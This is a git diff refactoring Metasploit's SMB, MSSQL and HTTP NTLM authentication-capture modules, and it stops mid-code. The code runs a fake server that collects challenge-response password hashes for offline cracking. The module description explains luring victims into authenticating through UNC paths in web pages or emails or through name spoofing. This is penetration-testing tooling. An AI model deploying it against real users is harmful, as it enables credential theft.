f5187da219..a3d1cd5ee4 100644 --- a/modules/auxiliary/server/capture/http_ntlm.rb +++ b/modules/auxiliary/server/capture/http_ntlm.rb @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Auxiliary end def handle_auth(cli,hash) - #authorization string is base64 encoded message + # authorization string is base64 encoded message message = Rex::Text.decode_base64(hash) if(message[8,1] == "\x01") @@ -142,7 +142,7 @@ class Metasploit3 < Msf::Auxiliary response.headers['WWW-Authenticate'] = "NTLM " + chalhash return response - #if the message is a type 3 message, then we have our creds + # if the message is a type 3 message, then we have our creds elsif(message[8,1] == "\x03") domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash) nt_len = ntlm_hash.length @@ -156,7 +156,7 @@ class Metasploit3 < Msf::Auxiliary if arg[:lm_hash][16,32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end - #if the length of the ntlm response is not 24 then it will be bigger and represent + # if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response elsif nt_len > 48 #lmv2/ntlmv2 arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, @@ -308,8 +308,8 @@ class Metasploit3 < Msf::Auxiliary "NTHASH:#{nt_hash ? nt_hash : ""} " + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}\n" when NTLM_CONST::NTLM_2_SESSION_RESPONSE - #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr - #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture + # we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr + # also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture smb_db_type_hash = "smb_netv1_hash" capturelogmessage = "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" + @@ -324,7 +324,7 @@ class Metasploit3 < Msf::Auxiliary print_status(capturelogmessage) # DB reporting - # Rem : one report it as a smb_challenge on port 445 has breaking those hashes + # Rem : one report it as a smb_challenge on port 445 has breaking those hashes # will be mainly use for psexec / smb related exploit report_auth_info( :host => ip, diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index be39fffabe..99885df4af 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -15,7 +15,7 @@ MESSAGE = Rex::Proto::NTLM::Message class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server include Msf::Auxiliary::Report class Constants @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary return end - #those variables will prevent to spam the screen with identical hashes (works only with ntlmv1) + # those variables will prevent to spam the screen with identical hashes (works only with ntlmv1) @previous_lm_hash="none" @previous_ntlm_hash="none" @@ -373,7 +373,7 @@ class Metasploit3 < Msf::Auxiliary if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end - #if the length of the ntlm response is not 24 then it will be bigger and represent + # if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response elsif nt_len > 24 #lmv2/ntlmv2 arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index 4b108dde34..1f3e23306a 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -10,56 +10,69 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server def initialize - super( - 'Name' => 'Authentication Capture: SMB', - 'Description' => %q{ - This module provides a SMB service that can be used to - capture the challenge-response password hashes of SMB client - systems. Responses sent by this service have by default the - configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), - allowing for easy cracking using Cain & Abel, L0phtcrack - or John the ripper (with jumbo patch). + super({ + 'Name' => 'Authentication Capture: SMB', + 'Description' => %q{ + This module provides a SMB service that can be used to capture the + challenge-response password hashes of SMB client systems. Responses + sent by this service have by default the configurable challenge string + (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using + Cain & Abel, L0phtcrack or John the ripper (with jumbo patch). - To exploit this, the target system must try to authenticate - to this module. The easiest way to force a SMB authentication attempt - is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or - email message. When the victim views the web page or email, their - system will automatically connect to the server specified in the UNC - share (the IP address of the system running this module) and attempt - to authenticate. + To exploit this, the target system must try to authenticate to this + module. One way to force an SMB authentication attempt is by embedding + a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When + the victim views the web page or email, their system will + automatically connect to the server specified in the UNC share (the IP + address of the system running this module) and attempt to + authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to + respond to queries for names the victim is already looking for. }, - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Sniffer' ] - ], - 'PassiveActions' => - [ - 'Sniffer' - ], - 'DefaultAction' => 'Sniffer' - ) + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => [ [ 'Sniffer' ] ], + 'PassiveActions' => [ 'Sniffer' ], + 'DefaultAction' => 'Sniffer' + }) register_options( [ - #OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) + OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in John format", nil ]), + OptString.new('CHALLENGE', [ true, "The 8 byte server challenge", "1122334455667788" ]) ], self.class ) register_advanced_options( [ - OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]), - OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " + - "When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]), - OptBool.new("USE_GSS_NEGOTIATION", [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " + - "When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]), - OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) + OptBool.new("SMB_EXTENDED_SECURITY", + [ true, + "Use smb extended security negotiation, when set client will use " \ + "ntlmssp, if not then client will use classic lanman " \ + "authentification", + false + ]), + OptBool.new("NTLM_UseNTLM2_session", + [ true, + "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " \ + "When SMB_EXTENDED_SECURITY negotiate is set, client will use " \ + "ntlm2_session instead of ntlmv1 (default on win 2K and above)", + false + ]), + OptBool.new("USE_GSS_NEGOTIATION", + [ true, + "Send a gss_security blob in smb_negotiate response when SMB " \ + "extended security is set. When this flag is not set, Windows will " \ + "respond without gss encapsulation, Ubuntu will still use gss.", + true + ]), + OptString.new('DOMAIN_NAME', + [ true, + "The domain name used during smb exchange with SMB_EXTENDED_SECURITY set.", + "anonymous" + ]) ], self.class) end @@ -78,10 +91,10 @@ class Metasploit3 < Msf::Auxiliary return end - #those variables will prevent to spam the screen with identical hashes (works only with ntlmv1) + # those variables will prevent to spam the screen with identical hashes (works only with ntlmv1) @previous_lm_hash="none" @previous_ntlm_hash="none" - exploit() + exploit end def smb_cmd_dispatch(cmd, c, buff) @@ -96,8 +109,8 @@ class Metasploit3 < Msf::Auxiliary case cmd when CONST::SMB_COM_NEGOTIATE - #client set extended security negotiation - if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0) + # client set extended security negotiation + if pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0 smb_cmd_negotiate(c, buff, true) else smb_cmd_negotiate(c, buff, false) @@ -106,21 +119,21 @@ class Metasploit3 < Msf::Auxiliary wordcount = pkt['Payload']['SMB'].v['WordCount'] - #CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security - #This packet contains the lm/ntlm hashes + # CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security + # This packet contains the lm/ntlm hashes if wordcount == 0x0D - smb_cmd_session_setup(c, buff, false) - #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security - # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH, + smb_cmd_session_setup(c, buff) + #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security + # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH, elsif wordcount == 0x0C - smb_cmd_session_setup(c, buff, true) + smb_cmd_session_setup_with_esn(c, buff) else print_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn) end - when CONST::SMB_COM_TREE_CONNECT + print_status("SMB Capture - Denying tree connect from #{smb[:name]} - #{smb[:ip]}") smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn) @@ -136,13 +149,6 @@ class Metasploit3 < Msf::Auxiliary pkt = CONST::SMB_NEG_PKT.make_struct pkt.from_s(buff) - #Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - - group = '' machine = smb[:nbsrc] @@ -172,13 +178,13 @@ class Metasploit3 < Msf::Auxiliary pkt['Payload'].v['ServerTimeZone'] = 0x0 pkt['Payload'].v['SessionKey'] = 0 - if c_esn && @s_smb_esn then + if c_esn && @s_smb_esn pkt['Payload']['SMB'].v['Flags2'] = 0xc801 pkt['Payload'].v['Capabilities'] = 0x8000e3fd pkt['Payload'].v['KeyLength'] = 0 pkt['Payload'].v['Payload'] = @s_GUID - if @s_gss_neg then + if @s_gss_neg pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp end @@ -194,375 +200,375 @@ class Metasploit3 < Msf::Auxiliary c.put(pkt.to_s) end - def smb_cmd_session_setup(c, buff, esn) + def smb_cmd_session_setup(c, buff) smb = @state[c] - #extended security has been negotiated - if esn - pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct - pkt.from_s(buff) + pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + pkt.from_s(buff) - #Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - securityblobLen = pkt['Payload'].v['SecurityBlobLen'] - blob = pkt['Payload'].v['Payload'][0,securityblobLen] + lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24 + nt_len = pkt['Payload'].v['PasswordLenNT'] - #detect if GSS is being used - if blob[0,7] == 'NTLMSSP' - c_gss = false - else - c_gss = true - start = blob.index('NTLMSSP') - if start - blob.slice!(0,start) - else - print_status("SMB Capture - Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...") - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - return - end - - - end - ntlm_message = NTLM_MESSAGE::parse(blob) - - case ntlm_message - when NTLM_MESSAGE::Type1 - #Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet - - if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0) - c_ntlm_esn = true - else - c_ntlm_esn = false - end - pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct - pkt.from_s(buff) - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc807 - pkt['Payload']['SMB'].v['WordCount'] = 4 - pkt['Payload']['SMB'].v['UserID'] = 2050 - pkt['Payload'].v['AndX'] = 0xFF - pkt['Payload'].v['Reserved1'] = 0x00 - pkt['Payload'].v['AndXOffset'] = 283 #ignored by client - pkt['Payload'].v['Action'] = 0x0000 - - win_domain = Rex::Text.to_unicode(@domain_name.upcase) - win_name = Rex::Text.to_unicode(@domain_name.upcase) - dns_domain = Rex::Text.to_unicode(@domain_name.downcase) - dns_name = Rex::Text.to_unicode(@domain_name.downcase) - - #create the ntlmssp_challenge security blob - if c_ntlm_esn && @s_ntlm_esn - sb_flag = 0xe28a8215 # ntlm2 - else - sb_flag = 0xe2828215 #no ntlm2 - end - if c_gss - securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain, - win_name, - dns_domain, - dns_name, - @challenge, - sb_flag) - else - securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain, - win_name, - dns_domain, - dns_name, - @challenge, - sb_flag) - end - pkt['Payload'].v['SecurityBlobLen'] = securityblob.length - pkt['Payload'].v['Payload'] = securityblob - - - c.put(pkt.to_s) - - when NTLM_MESSAGE::Type3 - #we can process the hash and send a status_logon_failure response packet - - # Record the remote multiplex ID - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - lm_len = ntlm_message.lm_response.length # Always 24 - nt_len = ntlm_message.ntlm_response.length - - if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => ntlm_message.lm_response.unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] - } - - if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 - arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE - end - #if the length of the ntlm response is not 24 then it will be bigger and represent - # a ntlmv2 response - elsif nt_len > 24 #lmv2/ntlmv2 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], - :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], - :nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] - } - elsif nt_len == 0 - print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - return - else - print_status("SMB Capture - Unknown hash type from #{smb[:name]} - #{smb[:ip]}, ignoring ...") - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - return - end - - buff = pkt['Payload'].v['Payload'] - buff.slice!(0,securityblobLen) - names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - - smb[:username] = ntlm_message.user - smb[:domain] = ntlm_message.domain - smb[:peer_os] = names[0] - smb[:peer_lm] = names[1] - - begin - smb_get_hash(smb,arg,true) - rescue ::Exception => e - print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}") - end - - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - - else - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - end - - #if not we can get the hash and send a status_access_denied response packet + if nt_len == 24 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0], + :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] + } + # if the length of the ntlm response is not 24 then it will be bigger + # and represent an NTLMv2 response + elsif nt_len > 24 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0], + :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0], + :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0], + :nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0] + } + elsif nt_len == 0 + print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return else + print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end - pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + buff = pkt['Payload'].v['Payload'] + buff.slice!(0, lm_len + nt_len) + names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } + + smb[:username] = names[0] + smb[:domain] = names[1] + smb[:peer_os] = names[2] + smb[:peer_lm] = names[3] + + begin + smb_get_hash(smb,arg,false) + rescue ::Exception => e + print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") + end + + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + + end + + def smb_cmd_session_setup_with_esn(c, buff) + smb = @state[c] + + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + pkt.from_s(buff) + + securityblobLen = pkt['Payload'].v['SecurityBlobLen'] + blob = pkt['Payload'].v['Payload'][0,securityblobLen] + + # detect if GSS is being used + if blob[0,7] == 'NTLMSSP' + c_gss = false + else + c_gss = true + start = blob.index('NTLMSSP') + if start + blob.slice!(0,start) + else + print_status("SMB Capture - Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end + + end + ntlm_message = NTLM_MESSAGE::parse(blob) + + case ntlm_message + when NTLM_MESSAGE::Type1 + # Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet + + if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY) != 0 + c_ntlm_esn = true + else + c_ntlm_esn = false + end + pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct pkt.from_s(buff) + smb_set_defaults(c, pkt) - # Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc807 + pkt['Payload']['SMB'].v['WordCount'] = 4 + pkt['Payload']['SMB'].v['UserID'] = 2050 + pkt['Payload'].v['AndX'] = 0xFF + pkt['Payload'].v['Reserved1'] = 0x00 + pkt['Payload'].v['AndXOffset'] = 283 #ignored by client + pkt['Payload'].v['Action'] = 0x0000 + + win_domain = Rex::Text.to_unicode(@domain_name.upcase) + win_name = Rex::Text.to_unicode(@domain_name.upcase) + dns_domain = Rex::Text.to_unicode(@domain_name.downcase) + dns_name = Rex::Text.to_unicode(@domain_name.downcase) + + # create the ntlmssp_challenge security blob + if c_ntlm_esn && @s_ntlm_esn + sb_flag = 0xe28a8215 # ntlm2 + else + sb_flag = 0xe2828215 # no ntlm2 + end + if c_gss + securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( + win_domain, + win_name, + dns_domain, + dns_name, + @challenge, + sb_flag + ) + else + securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( + win_domain, + win_name, + dns_domain, + dns_name, + @challenge, + sb_flag + ) + end + pkt['Payload'].v['SecurityBlobLen'] = securityblob.length + pkt['Payload'].v['Payload'] = securityblob + + c.put(pkt.to_s) + + when NTLM_MESSAGE::Type3 + # we can process the hash and send a status_logon_failure response packet + + # Record the remote multiplex ID smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + lm_len = ntlm_message.lm_response.length # Always 24 + nt_len = ntlm_message.ntlm_response.length - lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24 - nt_len = pkt['Payload'].v['PasswordLenNT'] - - - if nt_len == 24 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0], - :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] + if nt_len == 24 # lmv1/ntlmv1 or ntlm2_session + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :lm_hash => ntlm_message.lm_response.unpack('H*')[0], + :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] } - #if the length of the ntlm response is not 24 then it will be bigger and represent - # a ntlmv2 response - elsif nt_len > 24 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0], - :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0], - :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0], - :nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0] + + if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 + arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE + end + # if the length of the ntlm response is not 24 then it will be + # bigger and represent an NTLMv2 response + elsif nt_len > 24 # lmv2/ntlmv2 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], + :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], + :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], + :nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] } elsif nt_len == 0 - print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") + print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return else - print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + print_status("SMB Capture - Unknown hash type from #{smb[:name]} - #{smb[:ip]}, ignoring ...") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return end buff = pkt['Payload'].v['Payload'] - buff.slice!(0, lm_len + nt_len) + buff.slice!(0,securityblobLen) names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - smb[:username] = names[0] - smb[:domain] = names[1] - smb[:peer_os] = names[2] - smb[:peer_lm] = names[3] + smb[:username] = ntlm_message.user + smb[:domain] = ntlm_message.domain + smb[:peer_os] = names[0] + smb[:peer_lm] = names[1] begin - smb_get_hash(smb,arg,false) - + smb_get_hash(smb,arg,true) rescue ::Exception => e - print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") + print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}") end - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - + else + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) end end + def smb_get_hash(smb, arg = {}, esn=true) ntlm_ver = arg[:ntlm_ver] - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - else - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - lm_cli_challenge = arg[:lm_cli_challenge] - nt_cli_challenge = arg[:nt_cli_challenge] - end + + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + + # These are not used for NTLM_V1_RESPONSE or NTLM_2_SESSION_RESPONSE, so + # it's fine if they're nil + lm_cli_challenge = arg[:lm_cli_challenge] + nt_cli_challenge = arg[:nt_cli_challenge] # Clean up the data for logging - if (smb[:username] == "") + if smb[:username] == "" smb[:username] = nil end - if (smb[:domain] == "") + if smb[:domain] == "" smb[:domain] = nil end - unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then + # Check if we have default values (empty pwd, null hashes, ...) and adjust + # the on-screen messages correctly + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + if NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [nt_hash].pack("H*"), + :srv_challenge => @challenge, + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :type => 'ntlm' + } + ) + print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") + return + end + if lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ + lm_hash_message = "Disabled" + elsif NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [lm_hash].pack("H*"), + :srv_challenge => @challenge, + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :type => 'lm' + } + ) + lm_hash_message = "Disabled (from empty password)" + else + lm_hash_message = lm_hash + lm_chall_message = lm_cli_challenge + end + when NTLM_CONST::NTLM_V2_RESPONSE + if NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [nt_hash].pack("H*"), + :srv_challenge => @challenge, + :cli_challenge => [nt_cli_challenge].pack("H*"), + :user => Rex::Text::to_ascii(smb[:username]), + :domain => Rex::Text::to_ascii(smb[:domain]), + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :type => 'ntlm' + } + ) + print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") + return + end - @previous_lm_hash = lm_hash - @previous_ntlm_hash = nt_hash - - # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) - print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") - return - end - if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then - lm_hash_message = "Disabled" - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" - else - lm_hash_message = lm_hash - lm_chall_message = lm_cli_challenge - end - when NTLM_CONST::NTLM_V2_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [nt_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(smb[:username]), - :domain => Rex::Text::to_ascii(smb[:domain]), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) - print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") - return - end - if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 - lm_hash_message = "Disabled" - lm_chall_message = 'Disabled' - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(smb[:username]), - :domain => Rex::Text::to_ascii(smb[:domain]), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" - lm_chall_message = 'Disabled' - else - lm_hash_message = lm_hash - lm_chall_message = lm_cli_challenge - end - - when NTLM_CONST::NTLM_2_SESSION_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_hash].pack("H*")[0,8], - :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) - print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}") - return - end + if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 + lm_hash_message = "Disabled" + lm_chall_message = 'Disabled' + elsif NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [lm_hash].pack("H*"), + :srv_challenge => @challenge, + :cli_challenge => 